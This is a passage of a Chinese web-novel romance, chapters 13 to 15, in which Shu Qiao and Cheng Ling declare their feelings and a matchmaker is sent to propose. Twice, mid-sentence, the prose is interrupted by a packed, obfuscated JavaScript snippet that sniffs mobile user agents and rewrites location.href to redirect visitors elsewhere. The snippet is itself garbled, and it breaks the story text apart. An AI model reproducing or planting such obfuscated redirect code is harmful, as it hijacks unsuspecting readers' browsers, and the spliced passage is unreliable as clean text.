何况他喜欢看到程凌，喜欢这每日傍晚短暂的相处，喜欢他沉默寡言下的细致体贴。 既然两人心意相通，他为何要犹豫？ 他深吸一口气，像是终于下定了决心，再抬眼时，眸光清亮如洗，坚定地迎上程凌的视线，说道：“好啊。” “那你的水，我也包了，我日日给你带。”他望向程凌，脸上是藏不住的，几乎要满溢出来的欢喜和明亮光彩。 程凌心头蓦地一松，这才注意到自己刚才因紧张一直紧握的拳头，掌心已是一片湿濡。 他原本在心头预想过许多种回应，甚至包括疏离的拒绝，话出口前，还犹疑是否该再等些时日，至少换个更清净的场合。 可今日一见乔哥儿那躲闪又羞赧，与自己独处时明显不同于往常的无措眼神，藏在心里许久的话便再也按捺不住，冲破了所有顾虑。 此刻，听到那声清晰而坚定的“好啊”，看着舒乔眼中毫不掩饰的欣喜，他只郑重地点头，“一言为定！” 他忽地想起娘那日说的话，心想得提上日程了。 13. 第 13 章 “哥哥？哥哥！”舒小圆的手在舒乔眼前晃了晃，又指了指他手里那块被反复搓洗的抹布，语气里满是无奈，“这抹布都快被你洗薄一层了，还没洗干净么？” “嗯？哦……沾了油星，难洗些。”舒乔猛地回神，看着手里确实有些过份干净的抹布，面上掠过一丝窘迫，忙起身将水泼掉。 舒小圆盯着哥哥略显匆忙的背影，心头灵光一闪——自打从菜市回来，哥哥不是抿嘴偷笑，就是像刚才这样神游天外，莫非……真和程大哥把话说开了？ 她眼睛倏地一亮，像只发现了粮仓的小老鼠，转身就轻快地溜进屋里，压着兴奋喊道：“娘——！” “什么事值当你这样大呼小叫的？”秦氏正不紧不慢地叠着衣裳，见她脸蛋红扑扑地冲进来，笑着将叠好的衣物放进柜子，“又瞧见什么稀奇了？” “是哥哥！”舒小圆凑到秦氏身边，踮起脚尖，小手拢在嘴边，对着她的耳朵飞快地嘀咕了几句。 秦氏闻言，手上动作微微一顿，直起身子，目光若有所思地投向灶屋方向道：“当真？” 她想起晚饭时乔哥儿确实有些心不在焉，只当是白日做绣活耗神，竟没往这头想。 “我瞧着有八九分真！”舒小圆用力点头，小脸上写满了笃定。 “什么真的假的？”舒小临恰好提着空水桶从门外经过，听见屋里动静，好奇地探进半个身子。 他一天多在茶馆忙活，家里的事难免知道得晚些，问道：“又有什么新鲜事是我不知道的？” “没什么要紧的，”秦氏不动声色地关好柜门，“不过是娘俩闲话几句。” 乔哥儿和程凌的事尚未明朗，眼下不宜张扬，等稳妥些再说不迟。 可舒小圆哪里是藏得住话的，一把拉住舒小临的胳膊就往外拽，“小临哥，你来，我跟你说……” 秦氏瞧着两人凑到院角嘀嘀咕咕的背影，无奈地摇了摇头，却也未加阻拦。 罢了，孩子们亲近，早晚也得知道。 舒乔从灶屋出来，手里拿着拧干的抹布，就见弟弟妹妹脑袋挨着脑袋在摇椅旁说得起劲，便问道：“小圆小临，水烧好了，你们谁先去洗？” “啊？哥哥你先洗吧！”舒小圆猛地抬起头，冲他咧嘴一笑，又用手肘碰了碰旁边的舒小临，“我和小临哥再说会儿话。” “行。”舒乔并未细看她的表情，点了点头，自去寻换洗衣物。 舒乔很快打好了热水。舒小临望着哥哥的背影，摸着下巴，压低声音问：“你刚才说的是真的？” “千真万确！”舒小圆说完，趁他思索的功夫，身子一歪，抢先占据了那架竹制摇椅，躺下后高兴地晃了晃。 之前舒小圆虽提过程凌，舒小临只当是哥哥在集市上认识的普通朋友，并未多想。 “你们问过哥了没？”他轻轻拍了拍舒小圆翘起的脚丫，示意她安分点，眉头微蹙，显出几分与他年纪不符的忧思，“万一只是咱们瞎猜呢？还有那位程大哥，人品性情究竟如何？我就怕哥吃亏。” 舒小圆干脆把腿放地上舒展开，一边慢悠悠晃着摇椅，一边老神在在地说：“你若问他俩有没有捅破那层窗户纸，那我还没问。不过嘛，”她话音一转，带着点跃跃欲试，“我打算今晚就问个明白！” 她顿了顿，又补充道，“至于程大哥，我觉得人挺好的，改天我带你去菜行亲眼瞧瞧。” 舒小临听了，脸上露出些笑意，“成，那我可得好好看看。”他眉头皱了又展开，“你再同我细说说，他都什么样儿？” 等舒乔擦着湿发出来，见两人还凑在一处，低声聊得热络。 “你俩今晚哪来这么多话聊？”舒乔笑着打趣，又催促道，“天色不早了，下一个谁去洗？” “小临哥去！”舒小圆推了推舒小临。 “好嘞！”舒小临想知道的也打听了个七七八八，利落地收起小板凳，提桶去打水。 “小圆别贪凉，坐一会儿就进屋。”舒乔用布巾揉着半干的头发叮嘱，转身先回了屋。 “知道啦哥哥，我再吹吹风就进去。”舒小圆惬意地窝在摇椅里，望着开始冒出星子的夜空，吹着晚风哼着小曲。 屋里秦氏正坐在炕沿，小口喝着放温了的药汁。舒乔脱鞋上炕，问道：“娘，这药再吃明天一剂，就该完了吧？” “是啊，总算见到头了。”秦氏放下药碗，脸上带着轻松的笑意，目光投向窗外渐浓的暮色，声音轻缓了些，“身子既好了，我琢磨着，还是得去寻个活计……” “娘，不急在这一时。”舒乔放下布巾，打断道，“林大夫反复叮嘱，娘须得好好休养，最忌劳累。” 秦氏见他眉头微蹙，忙安抚道：“娘晓得轻重，也就是这么一想。合适的活计也不是说有就有的，是不是？” 舒乔语气也缓和下来，说道：“反正先别急，万事有我呢。” “娘知道。”秦氏心里一暖，眼眶有些发热，起身端起药碗，“我去把碗涮了，再给灶里添把火。” 舒乔靠着墙壁坐下，轻轻吁出一口气。与程凌分别时那份充盈心口的雀跃渐渐沉淀下来，他捻起垂在肩头的一缕微湿的发丝，眸光落在跳跃的油灯火苗上，有些出神。 如今家中嚼用，多半指着他绣帕子换来的银钱。小临在茶馆还算不得正经伙计，工钱有限。小圆虽也能绣些简单花样贴补，但费时费力，且不稳定。 “先不想这些了。”他抬手轻轻拍了拍自己的脸颊，振作精神，起身将窗户关紧，免得蚊虫飞进来。 夜色渐深，见舒小圆还没进屋，舒乔朝窗外扬声道：“小圆，别磨蹭了，你小临哥快洗好了！” “来啦来啦！”舒小圆忙不迭应声，从摇椅上爬起来。外头晚风凉快，她险些睡着了。 待三人都洗漱完毕，舒乔见舒小圆那双滴溜溜转个不停的大眼睛，心下明了。不等她寻机开口，他便率先道：“娘，小圆，我和你们说件事。” 舒小圆几乎是立刻丢开了抱在怀里的枕头，凑到舒乔身边，仰着脸，满眼期待地问：“什么事什么事？哥哥快说！” 秦氏也转过身看着他。舒乔轻咳一声，目光游移了一瞬，落在炕席的花纹上，有些不好意思地低声道：“就是我和程凌的事……他今日同我说明白了。所以你们俩，特别是你，舒小圆，别再整日琢磨我的事了。” 他说着，伸手轻轻捏了捏妹妹的脸蛋，语气里带着几分被看穿后羞恼。 “太好啦！我就知道！”舒小圆欢呼一声，也顾不上被捏的脸，高兴地抱住秦氏的胳膊摇晃起来，忽地又想起什么，笑容僵在脸上，“可是哥哥，你要是和程大哥成亲，是不是就要搬出去住了？” 舒乔看着她瞬间垮下的小脸，真是哭笑不得，“你这脑袋瓜里整天都想些什么？” “难道不是吗？”舒小圆求助般看向秦氏。她记得娘之前是为哥哥的婚事操心，才会对程大哥的出现格外上心。 “没这么快，”秦氏笑着拍了拍她的手背，温言道，“往后的日子长着呢。” 舒小圆这才松了口气。虽说哥哥迟早要出嫁，但只要想到哥哥要离开这个家，她心里就涌起浓浓的不舍。 舒乔悄悄舒了口气。借着灯影掩护，无人瞧见他颊边未散的热意。怕她们再追问细节，他忙借口天色已晚，起身利落地吹熄了油灯。 黑暗中，秦氏却思绪翻涌。既然两个孩子彼此都有意，先处处看自是好的，婚事倒不必急于一时。只是这般私下往来，时日长了难免惹人闲话，明日需得嘱咐小圆和小临，暂且把话藏在肚子里，毕竟巷子里还有个见风就是雨的张家媳妇。 然而她转念一想，两个孩子总不能一直这样不明不白地来往。终究需得两家大人正式相看，看看对方家里的态度。若能早些将亲事定下，自是稳妥。 秦氏心下权衡不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164061|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定，想着明日还是得去舟阿么那儿坐坐，同他和方大娘好好商议一番。 两家素来亲近，当初还是舟阿么先提醒她该为乔哥儿的终身大事上心，而且方大娘看人看事一向精准，同他们商量准没错。 躺在两人中间的舒小圆，同样辗转难眠。 她一会儿为哥哥寻得良人而满心欢喜——程大哥待人接物稳重周到，她是真心觉得好；一会儿想到□□后出嫁便要离开家，心头顿时被浓浓的不舍填满，竟真的纠结起来。 一旁的舒乔心潮也尚未平息。一阖眼，程凌那张带着认真神色、目光灼灼的脸便清晰地浮现在眼前。他索性侧过身，望着窗外洒落的清冷月辉，脑海中思绪纷杂，唇边却不自觉地凝着一抹浅笑。 三人怀揣着各自的心事，在渐深的夜色里，陆续沉入梦乡。 翌日，还未到酉时，舒乔便提着篮子出了门。 “程大哥，我在水里添了点甘草，听说清热解渴最好，你尝尝。”舒乔将水壶递过去，初时心下还有些忐忑，可见程凌神色如常地接过，那份不自在便也渐渐消散了。 “好。”程凌接过竹筒，将新水续进早已空空如也的水囊里。他仰头喝了一口，甘草的甘润恰到好处地抚过喉间。 “很清甜。”他放下水囊，目光在舒乔脸上多停驻了片刻。那眼神依旧是沉稳的，却比平日软和了些，像被这口水里的甜意悄悄浸透了。 舒乔笑眼弯弯道：“你喜欢就好，我明日再给你带。” 程凌点头，将那点不易察觉的赧意掩在沉静的面容下，看着他道：“对了，乔哥儿，你唤我名字便好。”接着，他便报上了自己的生辰年份。 原来程大哥比自己年长一岁。舒乔认真想了想，抬眼，目光清亮地望进程凌眼中，声音轻柔道：“那我唤你‘阿凌’，可好？” 反倒是程凌，被他这坦率的目光看得有些招架不住，微微移开视线，低声应道：“随你，乔哥儿。” 舒乔见他这般情状，唇角笑意加深，从善如流地唤了一声，“阿凌。” 两人相视间，虽一时无话，周遭却弥漫着静谧而和洽的氛围。舒乔又站着陪了他一小会儿，看着他将最后几把菜捆扎好，方才告辞离去。 程凌目送那道清瘦的身影融入街角人流，直至看不见，才缓缓收回目光，嘴角噙着笑意，转身继续利落地收拾摊位。 他既说了不再给舒乔挑剩的菜叶，便每日都将那些用来喂鸡的老叶、残叶另放一处，而最新鲜水灵的蔬菜，则总是仔细挑拣出来，单独放在干净的篮子里留给舒乔。 秦氏见舒乔提回满满一篮子水灵灵的蔬菜，不由讶异道：“这都是……凌小子给的？” “嗯……”舒乔有些不好意思地低下头，动手将里面夹杂的、明显是喂鸡的菜叶挑拣出来，“他说都是自家地里产的，不值什么，我本说了不用……” 可程凌那句“我们昨日说好的，莫非不作数了？”言犹在耳，眼神那般坦诚执着，他推拒的话便再也说不出口。舒乔心里盘算着，日后得更花些心思，给他带些解暑的汤饮或是耐放的吃食才好。 接连几日，舒乔都会在傍晚时分去菜市，同程凌说上几句话，但也都体贴地不过多打扰他收摊。 程凌待他极为诚恳，几乎是无话不谈，将自家在清水村的具体位置、家中父母性情、甚至院里养了几只鸡、地里轮种了哪些庄稼都细细说与他听。那份郑重其事的态度，让舒乔真切切地感受到了他的心意。 舒乔听着，心里那份安稳便又多了一重，也将自家的情形，细细地说与他知道。但他万万没想到，就在这番交心之后的第二天清早，他刚推开院门，便见程凌挺拔的身影立在薄薄的晨雾之中，肩头似乎还带着赶路的露水。 同样被惊动的还有正准备去茶馆的舒小临，他闻声从屋里探出身来，瞪大了眼睛，带着几分审视和好奇，上下打量着这位清晨突至的“客人”。 14. 第 14 章 晨风带着未散的凉意，轻轻拂过院门前的三人。 最终还是程凌手中那条不住扑腾的草鱼打破了这片微妙的寂静。 “乔哥儿，早。”程凌提了提手中渐渐安分下来的鱼，脸上带着和缓的笑意，“我爹昨日从塘里捞了几尾鱼，想着趁新鲜送一条过来。这么早过来，没扰着你们歇息吧？” 虽说是一番好意，但这般不请自来的清晨造访，他心下终究有些忐忑。 舒乔看着那条鳞片在晨光下闪着银光的鱼，回过神来，赶忙将院门完全拉开，侧身让出位置，说道：“阿凌，快进院里来，我们正用早饭呢。” 他眼里的讶异还未完全褪去，跟着又问了一句，“你用过早饭了吗？” 见程凌颔首，舒乔的视线又落回那条肥美的鱼上，觉得这份礼太重了些。 “前两日雨水大，塘水涨了，鱼都聚在一起，好捞。”程凌将系鱼的草绳递过去，语气平稳却透着坚持，“家里还有呢，我想着拿来给你们尝尝鲜。” 舒乔见他态度坚决，不好再推辞，只得接过那沉甸甸的，还带着塘水腥气的鱼，引着他走进院子。 舒小临嘴里还叼着半块没吃完的饼子，凑在一旁，一双眼睛滴溜溜在程凌和自家哥哥之间打转，含糊地招呼道：“程大哥早。” 程凌对他点了点头，眼睛却不由自主地追随着舒乔走向灶屋的身影。 秦氏和舒小圆听见动静，从灶屋走出来，见到立在院中的程凌，面上都露出了几分意外。 程凌身姿不自觉地挺得更直了些，朝秦氏问候道：“婶子，冒昧前来，打扰了。” “程小子是从菜市直接过来的？”秦氏脸上漾开温和的笑意，语气亲切。 “嗯，摊位暂时托了邻摊的李叔帮忙照看一会儿，所以不便久留。”程凌解释道。 “正该如此，生意是马虎不得的。”秦氏赞同地点点头，又像是拉家常般问道，“从家里过来，路上得费不少工夫吧？平日要出摊，地里的活计还忙得过来吗？” “赶牛车快些，约莫两刻钟便能到。”程凌答得认真仔细，“家里田地不多，我爹娘身子骨都硬朗，我们三人一起伺候绰绰有余。” 两人一来一往地说着话，旁边舒小临和舒小圆便竖着耳朵听，时不时心照不宣的对视一眼。 舒乔插不上话，只能安静地站在一旁，却忍不住往那边程凌瞟。 “乔哥儿昨日带回来的菜很是新鲜水灵，劳你费心惦记了。”秦氏话锋不着痕迹地一转，语气带着恰当的斟酌，“只是总让你这般破费，婶子心里实在过意不去。” 她这话说得委婉，眼神却温和地落在程凌脸上，带着长辈特有的探询意味。 程凌心下一凛，立刻明白了这话中的关切与考量。他原本并未打算在今日这般仓促地提起，但觉得此刻正是表明心迹的时机。 他诚恳地看向秦氏，又迅速扫过身旁微微垂着头的舒乔，说道：“婶子千万别这么说，都是自家地里的出产，不值当什么。我今日冒昧前来，也是想同您说，我已与家中父母商议妥当，若是您觉得合适，后日便请媒人正式上门提亲。” 话音一落，小院里霎时静默下来，连空气都仿佛凝滞了片刻。 程凌说完这番话，心也提到了嗓子眼。 这比他原定的计划提前了些，虽是他深思熟虑后的决定，此刻却不免担心是否会显得过于急切，让秦氏觉得他不够稳重周全。 他面上竭力保持着平静，目光却紧锁在秦氏和舒乔的脸上。 院内几人都怔住了，齐刷刷地聚焦在程凌身上。 舒小圆惊讶地眨了眨眼，舒小临也忘了咀嚼，愣愣地看着程凌。 舒乔倏然抬头望向程凌，正对上他那双写满坚定的眼睛，那目光灼灼，仿佛带着实质的温度，烫得他耳根瞬间热了起来，一时竟忘了该如何回应。 秦氏亦是微微一愣，心下自然是欢喜的，但这答复来得如此迅速果决，远超她的预料，让她在惊喜之余，也不禁生出几分需要细细思量的慎重。 她稳了稳心神，才开口确认道：“提亲是大事，你爹娘那边，果真都已商议妥帖了？” “都已商议妥当，只待后日媒人登门。”程凌回答得干脆利落，视线再次转向舒乔，语气放缓了些，“乔哥儿，你……意下如何？” 舒乔被他看得脸颊发烫，手指无意识地捻着串鱼的湿滑草绳，心底却是一片清明。 这些时日的相处，程凌的真诚他都看在眼里，此刻应下，心里反倒踏实下来。 他压下翻涌的心绪，迎上程凌饱含期待的眼神，坦然点了点头，声音不大，却字字清晰道：“我听娘的安排。”这便是应允了。 见舒乔点头，程凌悬着的心才算真正落回了实处，眼底漫上欣悦的笑意。 他紧绷的肩膀放松下来，转身对秦氏道：“婶子，那便说定了，后日一早，媒人便到。摊上还需人照看，我就不多叨扰，先告辞了。” “哎，好。”秦氏脸上带着宽慰的笑容，“难为你一大清早特意赶过来，连口热水都没喝上。” “婶子不用客气。”程凌说着，又不由地飘向舒乔，见他虽微垂着眼睑，唇角却抿着一丝清浅的笑意，心口像被烫了一下。 舒乔抬起头，恰巧撞进他含笑的眼底，脸上刚褪下去的热意又隐隐回升，他轻轻眨了眨眼，算是无声的回应。 程凌愣了愣，回过神忙转身道：“婶子，那我先回去了。” “诶好。”秦氏送他出门，轻轻合上的院门，将程凌方才那份想留又不能多留的情态尽收眼底，心下更是了然。 年轻人情意正浓，那份炽热与克制，她也是从那个年纪过来的，怎会不懂。 思及此，她心头那点顾虑，渐渐被欣慰与放心所取代。 舒乔仍望着门口有些出神，指尖缠绕着那根变得软塌塌的草绳。 程凌这一早突然到来，以及提亲的消息，都让他心潮起伏，可奇怪的是，他并不感到惊慌，反而像是吃了一颗定心丸，心底涌起一种前所未有的踏实感。 直到舒小临猛地一拍大腿喊道：“坏了！要迟到了！”他才恍然惊醒。 舒小临三两口把剩下的饼子塞进嘴里，冲进屋里抓起搭在椅背上的布巾，一边风风火火地往外跑，一边回头喊道：“小圆记得锁门！” “知道啦。”舒小圆应着，慢吞吞地走过去，将门闩插好。 她回头看看站在院子里若有所思的娘，以及转身回灶屋默默收拾碗筷的哥哥，心里有些纳闷，程大哥来提亲明明是件大喜事，怎么娘和哥哥反倒沉默起来了呢？ 她蹭到秦氏身边，小声问道：“娘，你不高兴吗？” 秦氏回过神，垂眸看着她，温声道：“高兴，娘心里自然是高兴的。可真要是来提亲，咱们家也得有所准备才是……” 她一边低声念叨着，一边转身朝屋里走去，取了什么物件仔细揣进怀里，随后又朝院门走去，“小圆，我去你舟阿么家坐坐，说会儿话。” 院门再次开合，舒小圆上前闩好门，转身去找舒乔。 舒乔正在擦拭灶台，见她进来，便吩咐道：“小圆，你去把换下来的衣裳先用水泡上。” “哦，好吧。”舒小圆只好按捺下满腹的问题，先去干活。 等衣裳洗完晾好，灶屋也收拾得干干净净了，两人在屋里拿起针线篮子坐下，舒小圆才终于找到机会跟哥哥说上话。 “哥哥，程大哥后天真的会请媒人来提亲么？”舒小圆凑近了些细声问道。 “他既已当众言明，自是会来的。”舒乔手中的针线略微停顿，随即又继续沿着画好的线迹稳稳走针。 “我听小满说，她姐姐之前定亲，光是合八字、选吉日就来回折腾了好久呢。” 舒小圆小声嘟囔着，伸出小拇指，比划着一点点长度，“哥哥，要是真定了下来，你能不能跟娘商量商量，把成亲的日子，稍微选晚一点，就一点点。” 舒乔抬眼瞧见她那副小心翼翼，带着恳求的模样，忍不住轻笑，故意拖长了语调道：“看在你近来这般勤快的份上……” “我最近可听话了！碗是我洗的，地也是我扫的！”舒小圆立刻挺直了腰板，眼睛一眨不眨地望着他，满是期待。 她只是舍不得哥哥这么早就离开这个家。 “好了，不逗你了。”舒乔放下手中的绣棚，望着某处出神，“具体如何安排，总要等后天媒人来了，两家商议后才能定下。” 他顿了顿，声音轻柔了些，“不过哥哥也希望能在家多留些时日。” 且不说娘的身体需要调养，弟妹年纪尚小，家中诸多事务让他放心不下，单是想到要离开生活了十多年的家，去一个全然陌生的地方开始新的生活，心底深处难免会生出几分茫然与不安。 能与程凌两情相悦，共结连理，他心中满是欢喜与期盼，可这份欣喜之中，也确实掺杂着对未知前路的本能怯意。 “不过现在说这些都为时过早，即便定了亲，后面也还有纳彩、问名、请期等诸多礼数，一样样走下来，总要耗费不少时日的。” 见妹妹仍微蹙着眉头，舒乔笑着宽慰她，“说不定，那是一年以后才需要考虑的事了。” 舒小圆听了这话，脸上这才露出了释然的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164062|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容，心里悄悄盘算，一年之后，倒是个挺不错的时机。 另一边，秦氏已到了舟阿么家。 舟阿么和方大娘正好都在院里拾掇菜干，听秦氏简单说了早上的事，两人都放下了手里的活计，拉着她在院中的小凳上坐下，细细说道起来。 方大娘一听是上次和舒乔去菜市时遇到的那个年轻后生，立刻笑了起来，“这么说来，这两个孩子倒是挺有缘分的嘛。” 她回想那天的情形，说道：“那天咱们刚到他摊前，他就给捡了菜叶，临走还塞给咱们一把嫩苋菜。” 方大娘说着又笑了起来，“现在回想起来，保不齐那时候，程小子就对咱乔哥儿上了心。” “还有这么一回事？”秦氏听了有些诧异，她那时只当是乔哥儿买的，并未多加留意。 方大娘又道：“后来我自个儿去买菜，又碰见过他两回。有些品相稍次，不好卖的菜，他也乐意送给客人。小伙子模样周正，干活利索，不像有些摊贩那般油滑算计。” 菜行里人来人往，摊贩不少，但像程凌这样年轻结实，天天雷打不动来出摊的汉子不多，所以她印象挺深。 舟阿么听她们这般描述，也生了些好奇，“被你们这么一说，我倒真想哪天得空，也去菜市亲眼瞧瞧了。” “别急别急。”方大娘摆摆手，笑道，“人家后天才正式请媒人登门呢，咱们这一个两个的都跑去看，别再把人小伙子给看得不好意思了。” “程小子瞧着确实是个踏实稳重的。这后天提亲，依你们看，我这边该预备些什么才好？”秦氏询问道。 她也是关心则乱，自己并非不懂这些礼数，只是事关乔哥儿的终身大事，总怕有哪里思虑不周，想来听听他们的意见。 方大娘是过来人，经历得多，对婚嫁习俗甚是了解，知道她的顾虑，便爽利地说道：“你若是担心招待不周，届时备上一壶茶水，几样干净体面的点心果子便是。有些媒人心眼活泛，你看着包几个铜钱做谢礼，意思意思也就是了。” “若是还想对程家多些了解，稳妥起见，也可以去他们村里稍稍打听一下他家风口碑如何。”舟阿么在一旁补充道。 秦氏听完，心里踏实了不少，将需要留意的事项一一记下。 提亲虽是男方主导，但后续的定亲、纳吉、请期等事宜，自家也需有所准备。 最让秦氏挂心的，还是舒乔的嫁妆。家里境况如何，她心知肚明，但该有的体面，她无论如何也想尽力为乔哥儿张罗一些，不愿他受了委屈。 听她念叨起嫁妆的事，方大娘温言开导她，“想必程家那边，多半也知晓咱家的情况。你量力而行就行，别太过为难自己。乔哥儿是个懂事明理的孩子，不会怪你。我瞧着那程小子，也不像是个斤斤计较、只看重财物的人。” 方大娘的话让秦氏心中宽慰了不少。她又坐着与他们说了一会儿话，才起身回家。 程凌要提亲的消息，不仅让舒家颇感意外，其实就在前两日晚饭时，他说完后，许氏和程大江也是惊讶不已。 “儿子，快跟娘说说，是哪家的好哥儿？”许氏连忙放下碗筷，又惊又喜地拉住程凌的胳膊追问。 “叫啥名字？家住在哪片？家里都有谁？” 程大江也乐得合不拢嘴，用力拍了下儿子的肩膀道：“好小子！真有你的！” 程凌回答了许氏连珠炮似的问题，接着之前的话头说道：“我想着，就这几日请媒人去舒家提亲。娘你懂得多，看请哪位媒人较为妥当，都需要准备些什么东西？” 许氏连连点头，脸上笑开了花，“乔哥儿，光是听这名字，就觉着是个灵秀懂事的孩子。” 她拍着胸脯保证，“你放心，这些事包在娘身上。你再仔细跟娘说说那孩子，还有他家里的情形。” 程凌见爹娘这般热切，只好又将舒家的情况，细细地说了一遍。 这一聊就聊到天色变暗。 许氏点上油灯，一边收拾着碗筷，一边盘算着，“我明儿个一早就去村头找王媒婆说道说道。提亲要备的礼也不能马虎，我今晚就得把单子理出来。” 程凌自然点头称是，有娘为他张罗这些，他再放心不过。 许氏和程大江压根不担心儿子看上的人会不好。自家儿子是什么秉性，他们最清楚不过，听到程凌说要提亲，老两口心里除了满满的喜悦，便是对日后的期盼。 许氏回想起不久前儿子那句意有所指的“过几日再去”，心里顿时豁然开朗，果然是因为心里早已有了中意的人，才会那般回应。 这么一想，她更盼着能早点见见乔哥儿这孩子了。 15. 第 15 章 两家既已有了结亲的打算，便都开始为后日的提亲张罗起来。 程家院里，许氏起身将王媒婆送到门口，临别时在她手里塞了串用红绳穿好的铜钱，面上带着周全的笑，“明日就辛苦王媒婆跑这一趟，这事儿可就托付给你了。” 王媒婆心领神会，利落地将钱揣进袖袋，笑呵呵地应承道：“程大家的你放心，这事包在我身上。凌小子也算是我看着长大，这桩喜事我保管给你办得妥妥帖帖。” 许氏又说了几句热络话，言语间满是信赖，“这十里八乡谁不晓得王媒婆你的能耐？交给你，我再放心不过。那我就不送了，你慢走。” “不用送不用送，都是乡里乡亲的！”王媒婆摆摆手，转身朝村头去。心里却暗自琢磨，原以为是请她说媒，没成想程家自己相看好了，还是城里的哥儿，倒有些出乎意料。 程家父子勤快能干，许氏为人也宽厚，在村里日子算过的不错的，村里不少有姑娘哥儿的人家都暗中留意凌小子，这下自家定了城里的，怕是要惹些酸话。 不过她也乐见其成，这桩事若成，程家给的谢媒礼定然不少。 刚走到村口那棵大槐树下，就被几个摇着蒲扇纳凉的妇人围住了。 “王媒婆，这是从程大家回来？可是有啥喜事？”有人笑着打听。 王媒婆故意卖个关子，脸上堆起神秘的笑，“可不是嘛！程家凌小子要提亲了，过些时日大伙儿就等着喝喜酒吧！” 这话一出口，围着的人顿时炸开了锅，喧嚷起来。 “说的是哪家姑娘？咋一点信儿都没听着？” “我还盘算着给娘家外甥女牵牵线呢！” “程家办事可真利索，平日不声不响，这就定下了？” 王媒婆只打着哈哈道：“过几日自然知晓，咱们先盼着那杯喜酒便是！”众人见她口风紧，也不再追问，转而说起别家的闲事。 程二婶刘氏坐在一旁，手里纳着鞋底，听了个真切，心里直犯嘀咕，凌小子要说亲了？她连忙收起针线活。 旁边人见她起身，顺口问：“程二家的，这就回了？” “回了，家里有活还没干呢。”刘氏没多耽搁，抬脚就往大哥家去。 一来是打听亲事，二来是商量修缮老屋的事。前日打老屋那边过，瞧见屋顶滑落了不少瓦片，再不拾掇，屋里那些旧家什怕是要遭雨水祸害了。 程大江和程大河两兄弟各自娶亲后，程家老爷子就主持分了家。 两兄弟建的屋子离的近，平日两家走动也频繁。至于程家老屋，在程家老爷子和老伴相继离世后，就空了下来。 屋子没人气，坏得就快，是以两家时常抽空去修补一番。 刘氏推开程家虚掩的院门，扬声唤道：“大嫂在屋不？” “在呢，快进来！”许氏在堂屋里应着。 刘氏进屋时，正见她拿着剪刀裁红纸，便拉过凳子坐在一旁，开门见山地问：“听村里人念叨，凌小子要说亲了？” 许氏这才想起这两日忙得晕头转向，竟忘了告诉亲近的弟媳，忙道：“正是呢，这孩子前几日突然跟我们透了底，说要向乔哥儿提亲，我这一通忙活，竟忘了同你通气。” 刘氏性子爽利，摆摆手表示无妨，又饶有兴致地问：“那孩子叫乔哥儿？” “姓舒，单名一个乔字，听凌儿说是个明事理的好孩子。”许氏一边将裁好的红纸码放齐整，一边把舒家的情况拣要紧的说了个大概。 刘氏听得连连点头，脸上绽开笑来，“家里有这等喜事，大嫂你若忙不过来，尽管支应我一声！” “少不了要劳动你，”许氏立刻接话，“等日子定下，成亲那日还得靠你和二弟里外帮衬呢。” “自家人不说两家话。”刘氏拿起桌上的浆糊罐，帮着把红纸糊成礼盒的封皮，又道，“对了大嫂，老屋屋顶滑落了不少瓦片，我想着挑个晴好日子，咱们两家一块去修补修补，你看哪天得闲？” 许氏停下手，略一思忖道：“是该修补了，上次去还是去年腊月里。等大江回来我同他讲，这两日先把提亲的事办稳妥，过后找个天晴日头好的时候去。” 老屋里还存放着些旧床柜和杂物，再不修缮，怕是要被鼠蚁蛀坏了。 刘氏又坐了约莫一炷香的功夫，说了会子闲话方才离去。 提亲这日，天光大亮后，程凌套好牛车，载着王媒婆往城里去。 到了南巷口，程凌稳住牛车，指向不远处道：“往前数第三个门便是舒家，有劳王媒婆了。” 王媒婆两手整了整衣衫，提上贴着红纸的礼盒，笑吟吟道：“凌小子放心，我保管把事办得圆圆满满。” 她迈着稳当的步子朝巷内走去，那身枣红色的褙子在清晨的微光里显得格外显眼。 巷口有早起打水、洒扫的邻人，见她这身打扮与提着的红礼，便猜是媒人登门，都不由驻足多看两眼，低声交谈着不知是谁家有了喜事。 舒家院里，秦氏一早便领着孩子们将屋里院外收拾得齐整亮堂，都换上了见客的得体衣裳。 敲门声响，舒小临一下子从凳子上弹起来道：“我去开门！”他特意向茶馆告了假，就为留在家里帮忙应对。 秦氏连忙拦住他，又理了理本就齐整的衣裳，说道：“我去开，小临你去把灶上温着的茶水端来。” 舒小临应声转向灶屋，舒小圆也机灵地跟了过去。 门一开，王媒婆便满面春风地迎上前，声音透着一股子热切，“哎哟，秦家妹子！这一大早来叨扰，给你道喜来了！”她双手提着礼盒，步履稳健地跨进院门。 秦氏上前相接，脸上带着合宜的微笑，“王媒婆快请屋里坐，一路上辛苦。” 程凌早前已让舒乔带话告知了媒婆姓氏，秦氏心里早有准备。 王媒婆跟着进屋，眼神不着痕迹地，将这虽不宽敞却洁净整齐的院子扫了一遍，笑着在椅上落座，“秦家妹子真是好福气，把乔哥儿带得这般出众。程家可是盼着结这门亲盼了有些日子了！” 秦氏客气两句，唤舒乔给王媒婆奉了茶，便让他先去隔壁屋里。舒乔晓得规矩，回屋拿起绣绷，手里的针却半晌没落下，心神都系在了隔壁的动静上。 舒小临和舒小圆倒未避嫌，老老实实在一旁坐着，支着耳朵听，秦氏此刻也顾不上他们，便由着他们在场。 